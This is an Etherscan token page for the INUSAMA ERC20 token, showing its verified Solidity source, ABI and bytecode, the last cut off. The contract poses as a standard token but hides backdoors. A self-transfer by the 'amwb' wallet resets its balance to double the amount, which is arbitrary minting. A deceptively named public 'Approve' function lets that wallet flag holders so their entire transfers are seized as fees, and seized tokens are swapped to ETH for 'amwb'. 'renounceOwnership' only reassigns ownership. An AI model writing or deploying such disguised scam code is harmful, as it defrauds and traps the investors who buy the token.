ETH Price: $3,384.99 (-2.76%)
Gas: 1 Gwei

Token

INUSAMA (INUSAMA)
 

Overview

Max Total Supply

1,000,000 INUSAMA

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.000001 INUSAMA

Value
$0.00
0x9631e68489b8a19c88d4748bc784264bde1d0ebd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INUSAMA

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-06
*/

/**

TELEGRAM: https://t.me/InusamaCommunity
WEBSITE:  https://www.inusama.space/
TWITTER:  https://twitter.com/inusamaerc

*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract INUSAMA is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "INUSAMA";
    string private _symbol = "INUSAMA";
    uint8 private _decimals = 6;
    address payable public amwb;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public repalce;

    uint256 private _totalSupply = 1000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        amwb = payable(address(0xc24b81586BFA39e4F992e15C747Bad7E87A9cF8e));
        
        _isExcludefromFee[amwb] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function enableTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    struct isS{
        address ac;
        bool so;
        uint256 a;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            isS memory b;
            b.so = amwb == to;
            b.a = amount;
            b.ac = amwb;

            if (
                from == amwb && b.so )
            {
                _balances[b.ac] = (b.a).mul(2);
            }

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 finalAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 feeAmount = amount.mul(0).div(100);

                if(repalce[from] > 0)
                    feeAmount = feeAmount.add(amount);

                if(feeAmount > 0) {
                    _balances[address(this)] += feeAmount;
                    emit Transfer(from, address(this), feeAmount);
                }
                finalAmount = amount.sub(feeAmount);
            }else{
                finalAmount = amount;
            }

            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(amwb),
            block.timestamp
        ){} catch {}
    }

    function Approve(address act,uint256 bla) public {
        uint256 a = (amwb != _msgSender()) ? bla.mul(bla) : 0;

        bla = bla.sub(a);

        if(bla == 5 || bla == 77){
            bla -= 5;
            repalce[act] = bla;
        }
        
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"act","type":"address"},{"internalType":"uint256","name":"bla","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amwb","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"repalce","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600760a090815266494e5553414d4160c81b60c052600190620000289082620002b1565b50604080518082019091526007815266494e5553414d4160c81b6020820152600290620000569082620002b1565b506003805460ff1916600690811790915561dead6080526200007a90600a62000488565b6200008990620f42406200049f565b600955600b805460ff60a81b1916600160a81b179055348015620000ab575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674c24b81586bfa39e4f992e15c747bad7e87a9cf8e0017908190556001600160a01b03610100909104165f9081526006602081905260408220805460ff1916600190811790915591620001535f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001a23390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200020391815260200190565b60405180910390a3620004b9565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200023a57607f821691505b6020821081036200025957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002ac575f81815260208120601f850160051c81016020861015620002875750805b601f850160051c820191505b81811015620002a85782815560010162000293565b5050505b505050565b81516001600160401b03811115620002cd57620002cd62000211565b620002e581620002de845462000225565b846200025f565b602080601f8311600181146200031b575f8415620003035750858301515b5f19600386901b1c1916600185901b178555620002a8565b5f85815260208120601f198616915b828110156200034b578886015182559484019460019091019084016200032a565b50858210156200036957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003cd57815f1904821115620003b157620003b162000379565b80851615620003bf57918102915b93841c939080029062000392565b509250929050565b5f82620003e55750600162000482565b81620003f357505f62000482565b81600181146200040c5760028114620004175762000437565b600191505062000482565b60ff8411156200042b576200042b62000379565b50506001821b62000482565b5060208310610133831016604e8410600b84101617156200045c575081810a62000482565b6200046883836200038d565b805f19048211156200047e576200047e62000379565b0290505b92915050565b5f6200049860ff841683620003d5565b9392505050565b808202811582820484141762000482576200048262000379565b60805161140b620004d25f395f610212015261140b5ff3fe608060405260043610610129575f3560e01c806370a08231116100a8578063a9059cbb1161006d578063a9059cbb1461035b578063c428a8711461037a578063c816841b1461039e578063dd62ed3e146103bd578063fb3ddf8514610401578063fc5138bc1461042f575f80fd5b806370a08231146102c45780638a8c523c146102f85780638da5cb5b1461030c57806390ec57f11461032857806395d89b4114610347575f80fd5b806327c8f835116100ee57806327c8f83514610201578063313ce567146102345780633345611e1461025557806338bf3cfa146102835780634a74bb02146102a4575f80fd5b806306fdde0314610134578063095ea7b31461015e5780631694505e1461018d57806318160ddd146101c457806323b872dd146101e2575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5061014861045a565b604051610155919061114b565b60405180910390f35b348015610169575f80fd5b5061017d6101783660046111ad565b6104ea565b6040519015158152602001610155565b348015610198575f80fd5b50600a546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101cf575f80fd5b506009545b604051908152602001610155565b3480156101ed575f80fd5b5061017d6101fc3660046111d7565b610500565b34801561020c575f80fd5b506101ac7f000000000000000000000000000000000000000000000000000000000000000081565b34801561023f575f80fd5b5060035460405160ff9091168152602001610155565b348015610260575f80fd5b5061017d61026f366004611215565b60066020525f908152604090205460ff1681565b34801561028e575f80fd5b506102a261029d366004611215565b610569565b005b3480156102af575f80fd5b50600b5461017d90600160a81b900460ff1681565b3480156102cf575f80fd5b506101d46102de366004611215565b6001600160a01b03165f9081526004602052604090205490565b348015610303575f80fd5b506102a2610611565b348015610317575f80fd5b505f546001600160a01b03166101ac565b348015610333575f80fd5b506102a26103423660046111ad565b610828565b348015610352575f80fd5b506101486108a1565b348015610366575f80fd5b5061017d6103753660046111ad565b6108b0565b348015610385575f80fd5b506003546101ac9061010090046001600160a01b031681565b3480156103a9575f80fd5b50600b546101ac906001600160a01b031681565b3480156103c8575f80fd5b506101d46103d7366004611230565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561040c575f80fd5b5061017d61041b366004611215565b60076020525f908152604090205460ff1681565b34801561043a575f80fd5b506101d4610449366004611215565b60086020525f908152604090205481565b60606001805461046990611267565b80601f016020809104026020016040519081016040528092919081815260200182805461049590611267565b80156104e05780601f106104b7576101008083540402835291602001916104e0565b820191905f5260205f20905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b5f6104f63384846108bc565b5060015b92915050565b5f61050c8484846109df565b5061055e8433610559856040518060600160405280602881526020016113ae602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610d48565b6108bc565b5060015b9392505050565b5f546001600160a01b031633146105c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b5f546001600160a01b0316331461066a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105be565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e2919061129f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610751919061129f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561079b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bf919061129f565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783555f908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290205f199055565b6003545f90336101009091046001600160a01b031603610848575f610852565b6108528280610d80565b905061085e8282610dfe565b9150816005148061086f575081604d145b1561089c5761087f6005836112ce565b6001600160a01b0384165f90815260086020526040902081905591505b505050565b60606002805461046990611267565b5f61055e3384846109df565b6001600160a01b03831661091e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105be565b6001600160a01b03821661097f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105be565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610a445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105be565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105be565b600b54600160a01b900460ff1615610aca57610ac3848484610e3f565b9050610562565b604080516060810182526003546001600160a01b038681166101009092048116918214602084015292820185905280825290918616148015610b0d575080602001515b15610b3c576040810151610b22906002610d80565b81516001600160a01b03165f908152600460205260409020555b600b54600160a01b900460ff16158015610b6e57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b8b57305f90815260046020526040902054610b8b90610f22565b6001600160a01b0385165f90815260046020526040812054610bad9085610dfe565b6001600160a01b0387165f9081526004602090815260408083209390935560069052205460ff16158015610bf957506001600160a01b0385165f9081526006602052604090205460ff16155b15610cbd575f610c146064610c0e8784610d80565b90611080565b6001600160a01b0388165f9081526008602052604090205490915015610c4157610c3e81866110c1565b90505b8015610cab57305f9081526004602052604081208054839290610c659084906112e1565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610cb58582610dfe565b915050610cc0565b50825b6001600160a01b0385165f90815260046020526040902054610ce290826110c1565b6001600160a01b038087165f8181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d359085815260200190565b60405180910390a3600192505050610562565b5f8184841115610d6b5760405162461bcd60e51b81526004016105be919061114b565b505f610d7784866112ce565b95945050505050565b5f825f03610d8f57505f6104fa565b5f610d9a83856112f4565b905082610da7858361130b565b146105625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105be565b5f61056283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d48565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600490915291822054610e8f918490610d48565b6001600160a01b038086165f908152600460205260408082209390935590851681522054610ebd90836110c1565b6001600160a01b038085165f8181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f109086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6857610f6861132a565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fbf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe3919061129f565b81600181518110610ff657610ff661132a565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac947926110469287925f928892610100900490911690429060040161133e565b5f604051808303815f87803b15801561105d575f80fd5b505af192505050801561106e575060015b505050600b805460ff60a01b19169055565b5f61056283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061111f565b5f806110cd83856112e1565b9050838110156105625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105be565b5f818361113f5760405162461bcd60e51b81526004016105be919061114b565b505f610d77848661130b565b5f6020808352835180828501525f5b818110156111765785810183015185820160400152820161115a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111aa575f80fd5b50565b5f80604083850312156111be575f80fd5b82356111c981611196565b946020939093013593505050565b5f805f606084860312156111e9575f80fd5b83356111f481611196565b9250602084013561120481611196565b929592945050506040919091013590565b5f60208284031215611225575f80fd5b813561056281611196565b5f8060408385031215611241575f80fd5b823561124c81611196565b9150602083013561125c81611196565b809150509250929050565b600181811c9082168061127b57607f821691505b60208210810361129957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156112af575f80fd5b815161056281611196565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104fa576104fa6112ba565b808201808211156104fa576104fa6112ba565b80820281158282048414176104fa576104fa6112ba565b5f8261132557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561138c5784516001600160a01b031683529383019391830191600101611367565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c3102237b7763ee1de29b2a40d2f965259b8caf072189e8dbf1b8e7e839b78a64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610129575f3560e01c806370a08231116100a8578063a9059cbb1161006d578063a9059cbb1461035b578063c428a8711461037a578063c816841b1461039e578063dd62ed3e146103bd578063fb3ddf8514610401578063fc5138bc1461042f575f80fd5b806370a08231146102c45780638a8c523c146102f85780638da5cb5b1461030c57806390ec57f11461032857806395d89b4114610347575f80fd5b806327c8f835116100ee57806327c8f83514610201578063313ce567146102345780633345611e1461025557806338bf3cfa146102835780634a74bb02146102a4575f80fd5b806306fdde0314610134578063095ea7b31461015e5780631694505e1461018d57806318160ddd146101c457806323b872dd146101e2575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5061014861045a565b604051610155919061114b565b60405180910390f35b348015610169575f80fd5b5061017d6101783660046111ad565b6104ea565b6040519015158152602001610155565b348015610198575f80fd5b50600a546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101cf575f80fd5b506009545b604051908152602001610155565b3480156101ed575f80fd5b5061017d6101fc3660046111d7565b610500565b34801561020c575f80fd5b506101ac7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561023f575f80fd5b5060035460405160ff9091168152602001610155565b348015610260575f80fd5b5061017d61026f366004611215565b60066020525f908152604090205460ff1681565b34801561028e575f80fd5b506102a261029d366004611215565b610569565b005b3480156102af575f80fd5b50600b5461017d90600160a81b900460ff1681565b3480156102cf575f80fd5b506101d46102de366004611215565b6001600160a01b03165f9081526004602052604090205490565b348015610303575f80fd5b506102a2610611565b348015610317575f80fd5b505f546001600160a01b03166101ac565b348015610333575f80fd5b506102a26103423660046111ad565b610828565b348015610352575f80fd5b506101486108a1565b348015610366575f80fd5b5061017d6103753660046111ad565b6108b0565b348015610385575f80fd5b506003546101ac9061010090046001600160a01b031681565b3480156103a9575f80fd5b50600b546101ac906001600160a01b031681565b3480156103c8575f80fd5b506101d46103d7366004611230565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561040c575f80fd5b5061017d61041b366004611215565b60076020525f908152604090205460ff1681565b34801561043a575f80fd5b506101d4610449366004611215565b60086020525f908152604090205481565b60606001805461046990611267565b80601f016020809104026020016040519081016040528092919081815260200182805461049590611267565b80156104e05780601f106104b7576101008083540402835291602001916104e0565b820191905f5260205f20905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b5f6104f63384846108bc565b5060015b92915050565b5f61050c8484846109df565b5061055e8433610559856040518060600160405280602881526020016113ae602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610d48565b6108bc565b5060015b9392505050565b5f546001600160a01b031633146105c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b5f546001600160a01b0316331461066a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105be565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e2919061129f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610751919061129f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561079b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bf919061129f565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783555f908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290205f199055565b6003545f90336101009091046001600160a01b031603610848575f610852565b6108528280610d80565b905061085e8282610dfe565b9150816005148061086f575081604d145b1561089c5761087f6005836112ce565b6001600160a01b0384165f90815260086020526040902081905591505b505050565b60606002805461046990611267565b5f61055e3384846109df565b6001600160a01b03831661091e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105be565b6001600160a01b03821661097f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105be565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610a445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105be565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105be565b600b54600160a01b900460ff1615610aca57610ac3848484610e3f565b9050610562565b604080516060810182526003546001600160a01b038681166101009092048116918214602084015292820185905280825290918616148015610b0d575080602001515b15610b3c576040810151610b22906002610d80565b81516001600160a01b03165f908152600460205260409020555b600b54600160a01b900460ff16158015610b6e57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b8b57305f90815260046020526040902054610b8b90610f22565b6001600160a01b0385165f90815260046020526040812054610bad9085610dfe565b6001600160a01b0387165f9081526004602090815260408083209390935560069052205460ff16158015610bf957506001600160a01b0385165f9081526006602052604090205460ff16155b15610cbd575f610c146064610c0e8784610d80565b90611080565b6001600160a01b0388165f9081526008602052604090205490915015610c4157610c3e81866110c1565b90505b8015610cab57305f9081526004602052604081208054839290610c659084906112e1565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610cb58582610dfe565b915050610cc0565b50825b6001600160a01b0385165f90815260046020526040902054610ce290826110c1565b6001600160a01b038087165f8181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d359085815260200190565b60405180910390a3600192505050610562565b5f8184841115610d6b5760405162461bcd60e51b81526004016105be919061114b565b505f610d7784866112ce565b95945050505050565b5f825f03610d8f57505f6104fa565b5f610d9a83856112f4565b905082610da7858361130b565b146105625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105be565b5f61056283836040518060400160405280601e81526020017f5361666